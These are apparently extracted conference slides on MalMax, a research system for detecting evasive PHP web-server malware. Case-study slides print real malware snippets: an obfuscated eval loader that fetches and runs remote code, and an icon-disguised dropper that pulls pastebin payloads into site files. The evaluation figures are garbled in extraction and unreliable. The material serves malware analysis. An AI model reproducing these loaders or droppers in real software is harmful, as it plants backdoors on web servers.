MalMax: Multi-Aspect Execution for Automated Dynamic Web Server Malware Analysis

Abbas Naderi-Afooshteh¹, Yonghi Kwon¹, Anh Nguyen-Tuong¹, Ali Razmjoo-Qalaei², Mohammad-Reza Zamiri-Gourabi², and Jack W. Davidson¹

¹University of Virginia, ²ZDResearch
Web-based malware

- **Web-based malware** continue to be one of the top security threats.
- **Server-side malware** can have much more catastrophic consequences.
Web-based malware

- **Web-based malware** continue to be one of the top security threats
- **Server-side malware** can have much more catastrophic consequences.

Persistent, Capable of compromising other machines
Server-side malware is prevalent

- **Sucuri** analyzed 34,371 infected websites and reported that **71% contained PHP-based, hidden backdoors**.

- **Incapsula** discovered that out of **500 infected websites** detected on their network, the majority of them contained **PHP malware**.

- **Verizon’s 2017 Data Breach Report** reported that a sizable number of **web server compromises** are a means to an end, allowing attackers to **set up for other targets**.
Challenges in detecting PHP malware?

- PHP is a dynamic language, making web development easy, so as malware development
  - Evasive Code
    - Detects the current environment to decide whether to run or not
    - Delay the execution to hinder dynamic analysis with a time limit
  - Dynamic Code Generation/Inclusion
    - Use `eval` and `include` to dynamically generate/include code
    - Multiple layers of obfuscation

Malicious code is “hidden deep down in malware”
Example: Simplified evasive malware

```
if (!isset($_GET[1]))
    die("Nothing to see here.");
if ($_GET[1] == $password) {
    for ($i=0; $i<1000; ++$i)
        if ($i>200)
            do_malicious();
    else
        do_benign();
    }
```
Example: Simplified evasive malware

```php
if (!isset($_GET[1]))
    die("Nothing to see here.");

if ($_GET[1] == $password)
{
    for ($i=0; $i<1000; ++$i)
    {
        if ($i>200)
            do_malicious();
        else
            do_benign();
    }
} else
```
Multiple aspects of malware

Aspect 1

```php
if (!isset($_GET[1]))
    die("Nothing to see here.");

if ($_GET[1] == $password)
{
    for ($i=0; $i<1000; ++$i)
    {
        if ($i>200)
            do_malicious();
        else
            do_benign();
    }
} else
```
Multiple aspects of malware

```php
if (!isset($_GET[1]))
    die("Nothing to see here.");
if ($_GET[1]!=$password)
    do_malicious();
    else
    do_benign();
```
Multiple aspects of malware

On each path, different data will result in a new aspect
if (!isset(...))

die("...");

if ( .. = $pass )

for loop

if ( $i > 200 )

do_malicious

dobenign

die("Nothing to see here.");}
```php
if (!isset(...))
    die("...");
if ($_GET[1] == $password) {
    for ($i=0; $i<1000; ++$i)
        if ($i > 200)
            do_malicious();
        else
            do_benign();
} else
    do_malicious();
```
if (!isset(...))
die("...");

if ($_GET[1] !== $password) {
    for ($i = 0; $i < 1000; ++$i) {
        if ($i > 200)
            do_malicious();
        else
            do_benign();
    }
}
Counter-factual Execution

• Exploring all execution paths that are not naturally executed
  • Multi-path Execution [14]
  • Rozzle [37] and GoldenEye [78]
  • X-Force [52] and J-Force [36]
  • ...

• Unfortunately, counter-factual execution alone is not enough.

• PHP malware has a unique characteristic
  • They are often injected into complex benign applications.
  • Analyzing a single malicious file individually, may not work.
PHP malware injected into a benign software

Wordpress Template Hierarchy
Malicious code snippets are injected into some of those files!
PHP malware injected into a benign software

Analyzing an individual file (e.g., Archive Page) without its context established through all the files in the chain is ineffective.

It may not reveal malicious behaviors on the context (e.g., Database)
Cooperative Isolated Execution

- MalMax analyzes “the entire website,” instead of focusing on malicious code snippets.
- Many PHP applications link PHP files together via `include/eval`
  ```php
  include( read_from_db( $db ) );
  eval( $global_object );
  ```
- They often use resources globally shared, which we call Global Scope Artifacts, such as global variables, class definitions, etc.

Covering a malicious path without the global scope artifacts resolved may miss malicious behaviors!
Cooperative Isolated Execution

Sharing Global Scope Artifacts (e.g., contexts marked as 1 2 3) between Isolated Executions

Legend
- Red: Resolved
- Grey: Shared

Host System Resources (Files, DBs, Networks)

Read Access

No Write Access

Isolated Execution 1

Isolated Execution 2

Isolated Execution 3

Global Scope Artifacts

DB conn.

Configs.

Function/Class Defs.
Cooperative Isolated Execution

Isolated Execution 1
- DB conn. 1

Isolated Execution 2
- Configs. 2

Isolated Execution 3
- Function/ClassDefs. 3

Sharing Global Scope Artifacts (e.g., contexts marked as 1 2 3) between Isolated Executions

Legend
- Red: Resolved
- Gray: Shared

Host System Resources (Files, DBs, Networks)

Read Access

No Write Access
More details in the paper

- Malware with **extremely long loops** to delay malicious behaviors
  - Loops are forcibly terminated after a certain iterations (i.e., 100)
- Malicious behaviors that depend on # of loops
  - Dynamically increase the threshold (the 100) by a factor of 2.
- How we created a proof of concept malware scanner, PhpMalScan, on top of MalMax, and so on.

```php
for ($i=0; $i<1000; ++$i) {
    do_benign();
    if ($i<198)
        $key += $table[$i];
}
eval( openssl_decrypt($code, 'AES-256-CBC', $key) );
```
Evaluation: Malware Detection

• Create a proof of concept automated malware detector: **PhpMalScan**
  • MalMax exposes malicious behaviors.
  • PhpMalScan monitors malicious behaviors and calculates maliciousness scores.

• Malware benchmark set
  • 53 real-world malware
  • 5 synthesized advanced malware samples
  • 5 synthesized benign samples

• Compare with existing malware detection tools

<table>
<thead>
<tr>
<th>Malware Detector</th>
<th>True Positive</th>
<th>False Positive</th>
</tr>
</thead>
<tbody>
<tr>
<td>Maldet</td>
<td>31 / 58</td>
<td>1 / 5</td>
</tr>
<tr>
<td>Backdoorman</td>
<td>7 / 58</td>
<td>2 / 5</td>
</tr>
<tr>
<td>Phpmaldet</td>
<td>20 / 58</td>
<td>0 / 5</td>
</tr>
<tr>
<td>ClamAV</td>
<td>39 / 58</td>
<td>1 / 5</td>
</tr>
<tr>
<td>VirusTotal</td>
<td>50 / 58</td>
<td>0 / 5</td>
</tr>
<tr>
<td>PhpMalScan</td>
<td>57 / 58</td>
<td>0 / 5</td>
</tr>
</tbody>
</table>
Evaluation: Scanning real-world data-set

- **Real-world Website Deployments:** 87 real-world websites deployed in the wild (via CodeGuard).

- **Nightly Backup:** Every night, a website is backed up when maldet finds one or more malware. Multiple versions of a website can be backed up.
  - Details in the paper!

- Thanks, CodeGuard!
**Evaluation:** Real-world data-set details by VirusTotal

- Scan them with VirusTotal
- Summary of VirusTotal’s **detection names**
Evaluation: Scanning real-world data-set

**Total Data-set**: 712,367

**Data Files (e.g., images, icons, text files)**: 2,513,036 (77.9%)

- **Flagged**
  - maldet detects: 3,986
  - PHPMALSCAN detects: 3748

- **Not Flagged**
  - 708,381 (99.44%)

**Total Scanned**: 2,513,036

**Scan Results**

- **Flagged**
  - VT detects: 95
  - 84.06%

- **Not Flagged**
  - VT detects: 2406
  - 97.87%

**Sampled Inspection Result with 95% Confidence (10% Margin of Error)**:

- **Total Data-set**
  - 712,367

- **Program Relevant Files**
  - 712,367

- **Data Files**
  - 2,513,036 (77.9%)

- **Flagged**
  - maldet detects: 3,986
  - PHPMALSCAN detects: 3748

- **Not Flagged**
  - 708,381 (99.44%)

- **VT detects**
  - 84.06%

- **Malware**
  - 2.13%
Evaluation: Scanning real-world data-set

**Total Data-set**
- Program Relevant Files: 712,367
- Data Files (e.g., images, icons, text files): 2,513,036 (77.9%)

**Total Scanned**
- Flagged: 3,986
- Not Flagged: 708,381 (99.44%)

**Scan Results**
- maldet detects: 95
- PHPMALSCAN detects: 3748
- VT detects
  - VT Scan: 33
  - VT Scan Result: 84.06%
- VT detects
  - VT Scan Result: 97.87%
  - VT Scan Result with 95% Confidence (10% Margin of Error):
    - Sampled Inspection Result: 2.13%
Evaluation: Scanning real-world data-set

Total Data-set

- Program Relevant Files: 712,367
- Data Files (e.g., images, icons, text files): 2,513,036 (77.9%)

Total Scanned

- Flagged: 3,986
- Not Flagged: 708,381 (99.44%)

Scan Results

- maldet detects: 95
- PHPMALSCAN detects: 143
- VT detects: 3748

Sampled Inspection Result with 95% Confidence (10% Margin of Error).

---

Sampled Inspection Result:

- VT Scan:
  - Malware:
    - A: 33
    - VT detects: 205
    - VT detects: 2406
    - VT detects: 1485
  - Malware:
    - 15.9%
    - 84.06%
    - 97.87%
    - 2.13%
Evaluation: Scanning real-world data-set

Sampled Inspection Result with 95% Confidence (10% Margin of Error).
Case Study 1: C&C with a Benign Website

- We find a handful of C&C malware variants

```
/*435345352*/ #error_reporting(0);
@ini_set( 'error_log', NULL ); @ini_set( 'log_errors', 0);
@ini_set( 'display_errors', 'OFF' ); @eval( base64_decode( 'awYobWQ1KCRFUE9TVFsicGY1XSkgPT09ICISM2FkMDAzZDdmYzU3YWFiOTM4YmE0ODNhNjVkZGY2ZCIpIhsgZXZhbcHiY XNINjRfZGVjR28jKCRFEQ96VWsi1VZGVAz1lK1Iz1I1EhKtsgeFoppZ1A oc3RycG9z...yALPHN6Y2gijcDgXB29JawU9J2NvbmR 0aW9uc2ZyOyBvYmxvdF87IWV4dG1iZWM1NzI5K2RlY3Rlcl9LcE9LcBkLU0tW SB10mk6cycsdGlzZGspKzE3MjgwMCMkuiI8HTTVQ73zsB3JncmlwdD4 iOyB9IDt9Owp9Cn0K' ); ...

$base = array( 0x00 => 'dit', 'dix', 'di', 'dip', 'dix', 'die', 'diep', 'dat', 'dax', 'da', 'dap', 'duox', 'duo', 'dot', 'dox', 'do', 'do', ...);}
```

(a) Obfuscated Malware

```
if (md5(+$POST['...']) === "...")
// Remote Code Injection
eval(base64_decode(+$POST['...']));
}

// Evasive Trick (5-14)
if (strpos(....) !== false)
    $patchedev = "GHKASMVG";
...
if (md5(+$REQUEST['...']) === "...")
    $patchedev = "SDDFDSDF";
...
if ($patchedev === "GHKASMVG") {
    @ob_end_clean();
    die;
}
/*
Check whether (1) the client is windows
(2) a targeted victim by comparing cookies
and server side environment variables
*/

$vku = file_get_contents( "https://legitimate_url", false, $context_jhkb);
if ($vku) eval($vku);
```

(b) Deobfuscated Malware
Case Study 1: C&C with a Benign Website

- We find a handful of C&C malware variants

Connections to the website are not suspicious and detected by existing security tools (e.g., AVs, Firewalls)
Case Study 2: Malware Disguised as an Icon

(a) Step 1: Create an Icon containing Malicious Code

```php
1 $check = $_SERVER['DOCUMENT_ROOT'].'/kk.ico';
2 $fp = fopen($check,"w+"神通);
3 fwrite($fp,base64_decode('PD9waHANCmZ1bmN0aW9uIGh0dHBfZ2V0KCR1c2Nwb258c2FsaW5ldGt8LWZpb3kgdG8gZ2VuZGluZw=='));
4 fclose($fp);
5 include $check;
```

(b) Step 2: Malware Disguised as an Icon

```php
1 $text = http_get('https://pastebin.com/raw/...');
2 $open = fopen(".../sites.php", 'w');
3 fwrite($open, $text);
4 fclose($open);

5 $text3 = http_get('https://pastebin.com/raw/...');
6 $op3 = fopen(".../w.php", 'w');
7 fwrite($op3, $text3);
8 fclose($op3);

9 $text7 = http_get('https://pastebin.com/raw/...');
10 $op7 = fopen(".../themes/index.php", 'w');
11 fwrite($op7, $text7);
12 fclose($op7);

13 @unlink(__FILE__); // delete itself
```
Limitations

• **State/path-explosion**: Artifact sharing by Cooperative Isolated Execution creates new isolated executions when an artifact is shared. It may compound state and path explosion problems. However, in practice, most isolated executions created by the artifact sharing crash quickly.

• **Infeasible paths/incorrect program states**: Program executions by MalMax may not be feasible or correct. However, compare to a vanilla dynamic analysis, it only causes false positives.

• **The newly identified 1,485 malware samples**: Those were not known by VirusTotal, but might be known by some security experts.
Takeaways

• Analyzing sophisticated and evasive server-side malware

• MalMax’s Multi-aspect eXecution engine features with “Counter-factual Execution” and “Cooperative Isolated Execution”

• Dealing with large real-world applications.
  • Server-side malware are often injected into large applications (e.g., Wordpress)
  • Extensive evaluation on real-world website deployments

• MalMax allow us to find 1,485 malware that were not detected by VirusTotal
Thank you very much!

• MalMax is publicly available: https://malmax.s3.amazonaws.com/malmax.html

Greetings from the first author!
Abbas Naderi-Afooshteh
Multi-aspect Execution – Where we stand?

Program Execution Space

Cooperative Isolated Execution covers more code.

Multi-aspect Execution creates executions with more contextual information.